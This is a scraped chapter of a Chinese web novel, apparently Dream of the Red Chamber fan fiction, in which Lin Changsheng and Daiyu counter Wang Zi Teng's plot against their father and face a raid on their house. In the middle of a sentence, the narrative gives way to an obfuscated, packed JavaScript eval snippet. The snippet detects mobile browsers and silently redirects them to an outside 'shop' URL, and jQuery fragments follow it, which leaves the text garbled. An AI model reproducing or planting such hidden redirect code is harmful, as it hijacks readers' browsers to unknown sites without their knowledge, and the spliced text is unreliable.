默认冷灰
24号文字
方正启体

32.秋声赋

作者:丞舛本书字数:K更新时间:
    晨起时窗上结了一层薄霜,院中草木皆染了白,黛玉起身,紫鹃服侍她梳洗,又添了件藕荷色夹袄。


    香菱端着燕窝粥进来,眼圈微红,显是昨夜又哭过。


    “姑娘用些粥罢,甄先生一早起来熬的,”香菱低声道,自相认后,她仍唤黛玉姑娘,待甄士隐多了几分亲近自然。


    黛玉接过粥碗,见香菱神色,便道:“又与你父亲说话了?”


    “是,”香菱点头,“父亲说,等过了这阵风头,想带我去苏州,给娘亲上坟。”


    “该当的,”黛玉温声道,“你娘若知你平安,定会欣慰。”


    正说着,长生来了,他今日穿着靛青绸袍,神色凝重,黛玉见他这般,便知有事。


    “父亲一早被召入宫了,”长生道,“圣上要问漕运的事。”


    黛玉心一紧:“可是王家那边……”


    “不知,”长生摇头,“昨日柳湘莲来,说王子腾这几日频频入宫似在活动,父亲此番入宫怕是与此有关。”


    姐弟二人正说着,外头林忠通报:“少爷,姑娘,镇国公府牛小姐来了,说有急事。”


    黛玉与长生对视一眼,牛萱自那日送信后,再未登门,如今登门恰逢其时。


    “请到花厅。”


    牛萱眼圈微红,一见黛玉,便急道:“出事了!”


    “牛小姐莫急,坐下慢慢说。”


    牛萱却不坐,只道:“昨日我父亲与王子腾大吵一架,王子腾逼我父亲联名上奏,参林大人贪墨漕银。我父亲不允,王子腾便威胁,说要抖出我兄长在军中那些事……”


    她说着,眼泪掉下来,“我兄长不成器,在军中确有不是,若真抖出来,我兄长的前程便毁了,父亲被逼无奈,只得先口头应了。”


    长生脸色一沉,联名上奏,先前牛萱通风报信说九月大朝会有王子腾发难,林家周转提防却没想到唯独忘了联名上奏这种方式,这是要硬生生耗死。


    “就就在今日大朝,”牛萱泣道,“我偷听到他们说话便连夜抄了奏折草稿,”


    她从袖中取出一纸文书,双手递上。


    长生接过,展开细看,奏折上罗列林如海罪十条:


    贪墨漕银、任人唯亲、纵容家奴、结交内侍……条条都是杀头的罪,下头已有了王子腾,贾政的署名,空着一处,是留给牛继宗的。


    “好毒的计,”长生冷笑,“这是要置父亲于死地。”


    黛玉接过奏折,看了一遍,道:“这奏折是王子腾亲笔?”


    “是,”牛萱点头,“我认得他的字。”


    黛玉沉思片刻,对长生道:“你来看,这奏折上有一条:‘林如海私通盐商,收受盐商王有才贿银三万两,为其子王彪谋取军职。’”


    长生看去,果然有这一条。


    他心中一动:“姐姐是说……”


    “王子腾要参父亲私通盐商,收受贿银。”黛玉缓缓道,“可那盐商王有才,与王彪是同族,都是王家人。父亲若私通盐商,收受贿银,那王子腾……又算什么?”


    长生眼睛一亮:“姐姐是说,反将一军?”


    “正是,”黛玉道,“咱们手里有那本真账册,上头记着王彪与鞑靼交易的事,若在朝堂上,王子腾参父亲私通盐商,咱们便抛出账册,说他王子腾通敌卖国,届时看圣上信谁。”


    “可那账册?”


    “账册是真的,咱们怕什么?”黛玉神色坚定,“只是要选对时机,要在王子腾发难之前一击致命。”


    牛萱听得心惊:“林姑娘,这般太过凶险,若圣上不信。”


    “圣上会信的,”长生道,“父亲在扬州清正廉明,王子腾那些勾当,圣上未必不知,只是苦无证据,如今咱们有证据,圣上定会彻查。”


    正说着,外头传来急促的脚步声,林忠进来:“少爷,姑娘,不好了!老爷,老爷被押入都察院了!”


    “什么?”姐弟二人霍然起身。


    “说是有人参老爷贪墨,圣上震怒,命都察院收押候审,”林忠老泪纵横,“沈大人派人来传话,让少爷姑娘莫慌,他在斡旋。”


    长生脸色煞白,身子晃了晃,黛玉扶住他,自己也在抖,她强自镇定,对林忠道:“忠伯,去备车,我要去都察院。”


    “姑娘,去不得啊!”林忠急道,“都察院那地方,岂是姑娘能去的?”


    “去得也要去,去不得也要去。”黛玉声音发颤,“父亲蒙冤,我做女儿的,岂能坐视?”


    长生拉住她:“姐姐,我去,且不说姐姐体弱,不便抛头露面,更重要的是姐姐智谋不逊于我,若我一去不回,家里还有你在照应”


    “都这时候了,还讲这些虚礼?”黛玉眼中含泪,“长生,咱们一起去,父亲教咱们读书明理,不是让咱们遇事退缩的。”


    姐弟二人正要出门,甄士隐来了,他显然已得消息,神色凝重:“公子,姑娘,去不得。”


    “先生,父亲他……”


    “老朽知道,”甄士隐道,“可你们这般贸然去,不但见不到林大人,反会落人口实,王子腾既敢发难,定在都察院布了眼线,你们去,便是自投罗网。”


    “那,那该如何?”黛玉急道。


    甄士隐:“为今之计,只有一条路,面圣。”


    “面圣?”


    “是,”甄士隐道,“林大人是朝廷重臣,无圣旨,都察院不敢擅押。定是圣上听了谗言,一时震怒。你们若能面圣陈情,或可转圜。”


    长生苦笑:“我们如何能面圣?”


    “有一个人能,”甄士隐道,“柳湘莲。”


    “柳兄?”


    “是,”甄士隐点头,“柳湘莲的姑母是宫中柳嫔,虽不得宠,但能递话,你们去求柳湘莲,让他姑母在圣上面前美言几句,或有机会。”


    长生与黛玉对视一眼,这确是条路,问题是柳湘莲肯帮么?他虽是朋友,可这等事,牵涉太大。


    “我去求他。”长生道。


    “我与你同去。”黛玉道。


    甄士隐摇头:“姑娘不宜去,公子一人去便好,说话也便宜。”


    长生点头:“好,我这就去。”


    正要走,外头又有人来报,柳湘莲来了。


    真是说曹操,曹操到,长生忙迎出去,见柳湘莲一身青衫,神色匆匆。


    “柳兄,你来得正好,我正要去寻你。”


    柳湘莲摆手:“我都知道了,林大人的事,我已听说了,我今日来便是为此事。”


    “柳兄……”


    “长话短说。”柳湘莲低声道,“我姑母昨夜侍寝,听圣上提起林大人,言语间确有怒意,但圣上言下之意是不信王子腾,如今关键,在那本账册。”


    “账册在我处。”长生道。


    “好。”柳湘莲点头,“圣上最恨臣子结党营私、贪墨渎职,王子腾参林大人那些罪,若查实,林大人难逃一死,可若林大人能反证王子腾通敌,圣上定会彻查。”


    “我明白。”长生道,“只是如何将账册呈给圣上?”


    “这便是难处。”柳湘莲叹道,“都察院如今是王子腾的人把持,账册若经他们手,怕是到不了圣上面前。为今之计,只有等三司会审时,当堂呈上。”


    “可父亲已被收押,如何当堂呈上?”


    柳湘莲沉吟片刻:“或许可以从贾府入手。”


    “贾府?”


    “是。”柳湘莲道,“贾政与王子腾联名上奏,可贾政那人,我了解,胆小怕事,若能从他身上打开缺口,或可破局。”


    长生心中一动,贾政确是胆小,且贾府如今自身难保,若许以好处,或可反水。


    “我明白了,”长生拱手,“多谢柳兄提点。”


    “林兄客气。”柳湘莲道,“林大人是清官,我不能坐视他被诬,若有需要,尽管开口。”


    送走柳湘莲,长生回到书房,与黛玉、甄士隐商议。


    “从贾府入手,确是个法子,”甄士隐道,“贾政如今是惊弓之鸟,若知王子腾要倒,定会自保。”


    “只是如何让他知?”黛玉蹙眉,“咱们与贾府,已无往来。”


    长生沉思良久,道:“有个人,或可说动贾政。”


    “谁?”


    “贾琏。”


    黛玉恍然,贾琏是贾府长孙,虽不掌实权,却能在贾政面前说上话,近来颇有话语权,且他前次来,对父亲态度恭谨,似有结交之意。


    “只是如何让贾琏信咱们?”黛玉道,“他毕竟是贾家人。”


    “利害,”长生没提及贾琏与父亲私底下关系,“贾琏是聪明人,知道贾府如今处境,若王子腾倒了,贾府或可喘息,若王子腾不倒,贾府必受牵连。这道理,他懂。”


    “那便试试,”黛玉道,“我让紫鹃去递帖子,请贾琏过府一叙。”


    “不,”长生摇头,“我去荣国府找他,这般显得郑重。”


    “可你……”


    “姐姐放心,我有分寸。”


    长生换了身衣裳,便往荣国府去,到了西角门,门房见是他,吃了一惊,忙进去通报。


    不多时,贾琏亲自迎出。


    “长生表弟,你怎么来了?”贾琏神色复杂,林家与贾府已撕破脸,长生此时登门,定有要事。


    “琏二哥哥,小弟有事相求。”长生拱手。


    贾琏忙道:“里面说话。”


    引至书房,屏退左右,贾琏方道:“表弟是为姑父的事来的罢?”


    “正是,”长生也不绕弯,“王子腾参我父亲,琏二哥哥可知?”


    贾琏点头,面露愧色:“不瞒表弟,我二叔也在奏折上署了名,我劝过,可他不听。”


    “小弟明白,”长生道,“今日来不是兴师问罪,是给琏二哥哥,给贾府,指条生路。”


    贾琏一怔:“表弟请讲。”


    “王子腾要倒了,”长生一字一句,“他通敌卖国,证据确凿圣上已知,不日便要查办,琏二哥哥若此时与他切割,或可保全贾府,若执迷不悟,便是抄家灭族之祸。”


    贾琏脸色煞白:“表弟,这话可不能乱说!”


    “小弟岂敢乱说?”长生从袖中取出一页纸,是那账册的抄本,只抄了王彪与鞑靼交易那一条,“琏二哥哥请看。”


    贾琏接过,只看一眼,便冷汗涔涔:“这,这是……”


    “这是真账册上的,”长生道,“真账册我已收好,不日便要呈给圣上,届时王子腾必倒,琏二哥哥想想,贾府与王家是姻亲,这些年往来密切,一旦王子腾事败,贾府能撇清么?”


    贾琏跌坐椅中,面如死灰,他知道长生说的不假,贾府这些年,靠着王家做了多少事,他虽不全知,可


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17067531|192023||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也清楚绝不清白,一旦王子腾倒台,贾府必受牵连。


    可若林如海垮台,他贾琏又如何能起势?


    “表弟,你要我如何做?”


    “简单,”长生道,“让政二老爷翻供,说是受王子腾胁迫才在奏折上署名,再将王子腾这些年与贾府往来的账目交出来。”


    “这,”贾琏犹豫,“那些账目,牵连太大……”


    “交出来,贾府或可保全,不交,玉石俱焚。”长生声音冷了下来,“琏二哥哥是明白人,该知道如何选。”


    贾琏沉默良久,方道:“我需要时间。”


    “三日,”长生强调道,“三日后,若政二老爷不翻供,我便将账册呈上,届时,莫怪小弟无情。”


    贾琏重重点头:“我明白了,表弟放心,我定说服二叔。”


    从荣国府出来,长生心中稍定,贾琏是聪明人,知道利害,况且再加上这些年父亲对贾琏暗中多有扶持和背后指点,贾府资源略微倾斜贾琏。


    且不说贾琏早以认林如海为师,若林如海垮台,一荣俱荣,一损俱损的道理岂不知?况且只要贾政翻供,王子腾的联名奏折便少了一人,威力大减。


    回到林府,黛玉已在等着,见长生回来,忙问:“如何?”


    “贾琏应了,”长生道,“贾政会翻供。”


    黛玉松了口气,紧接着蹙眉:“只是,王子腾那边怕不会坐以待毙。”


    “正是,”长生道,“所以这三日,咱们要万分小心,王子腾若知贾政要反水,定会狗急跳墙。”


    正说着,外头传来喧哗声,林忠匆匆进来,:“少爷,姑娘,外头来了好多官兵,将咱们府围了!”


    长生头都大了,又来了,怎么动不动就抄家,上一个假传圣旨的已经被杀头了,又来一个。


    姐弟二人走到前院,见大门外站满了官兵,为首的是个穿飞鱼服的锦衣卫千户,那人见长生出来,冷声道:“奉北镇抚司之命,搜查林府,闲杂人等,退开!”


    长生上前:“这位大人,可有驾帖?”


    那千户亮出一纸公文:“北镇抚司办案,还需驾帖?让开!”


    说着,一挥手,官兵便要往里冲。


    长生挡在门前,厉声道:“慢着!家父是朝廷二品大员,便是要搜府,也需三法司公文,北镇抚司虽有权却无权搜查朝廷大员府邸!大人若无圣旨,请回!”


    那千户一怔,没料到这八岁孩童竟这般硬气,他冷笑道:“黄口小儿,也敢阻挠锦衣卫办案?拿下!”


    几个锦衣卫上前便要拿人。黛玉急道:“住手!”


    她走到长生身边,对那千户道:“这位大人,林家是清白人家,从不作奸犯科,大人要搜府,可以,但需说清缘由,若说不出,便是私闯民宅,按律当斩!”


    那千户见她不过十二三岁年纪,却言辞犀利,心中暗惊,但上头有命,他不得不从。


    “本官奉北镇抚司之命,搜查通敌罪证。让开,否则以同谋论处!”


    “通敌?”黛玉冷笑,“家父在扬州四年,清正廉明,天下皆知。大人说通敌,可有证据?”


    “证据自然有。”那千户道,“等搜出来,你便知道了。搜!”


    官兵又要往里冲。忽然,远处传来一声喝:“住手!”


    众人回头,见一队人马疾驰而来,为首的是个太监,正是御前太监夏守忠。


    夏守忠下马,走到那千户面前,冷声道:“张千户你好大的威风,谁让你来林府搜检的?”


    那张千户脸色一变:“夏公公,下官奉北镇抚司之命……”


    “北镇抚司?”夏守忠冷笑,“北镇抚司何时有权搜查二品大员府邸了?咱家怎么不知?”


    他从袖中取出一卷黄绫,“圣上口谕:林如海一案,着三法司会审,北镇抚司不得插手,张千户,你抗旨不遵,该当何罪?”


    张千户扑通跪倒:“下官、下官不知啊!”


    “不知?”夏守忠喝道,“滚回去,告诉你们指挥使,再敢来林府生事,咱家便去圣上面前,参他个僭越之罪!”


    “是,是……”张千户连滚爬起,带着人匆匆走了。


    夏守忠这才转向长生、黛玉,温声道:“林公子,林姑娘,受惊了,圣上已知今日之事,特让咱家来传话,林家忠心,圣上深知,林大人之事,圣上自有圣裁,让你们莫要担忧。”


    长生、黛玉跪倒:“谢圣上隆恩。”


    夏守忠扶起他们,低声道:“圣上让咱家告诉你们,那本账册好生收着,大朝自有用处。”


    长生动容:“公公……”


    “不必多说,”夏守忠摆手,“咱家还要回宫复命,你们保重,”说罢,上马而去。


    送走夏守忠,姐弟二人回到书房,心中犹自后怕,方才若夏守忠晚来一步,林家怕是要遭殃。


    “圣上这是在保咱们。”黛玉轻声道。


    “是,”长生点头,“圣上要借父亲的手,铲除王子腾,所以不能让他出事。”


    “那三日后大朝……”


    长生一脸复杂,脑子计谋混杂一时间理不清,只得道,“姐姐,这三日,咱们要万分小心,王子腾一击不成,定有后手。”


    “我明白 ”黛玉道,“从今日起府中加强戒备,出入严查,你莫要单独出门。”


    “姐姐也是。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)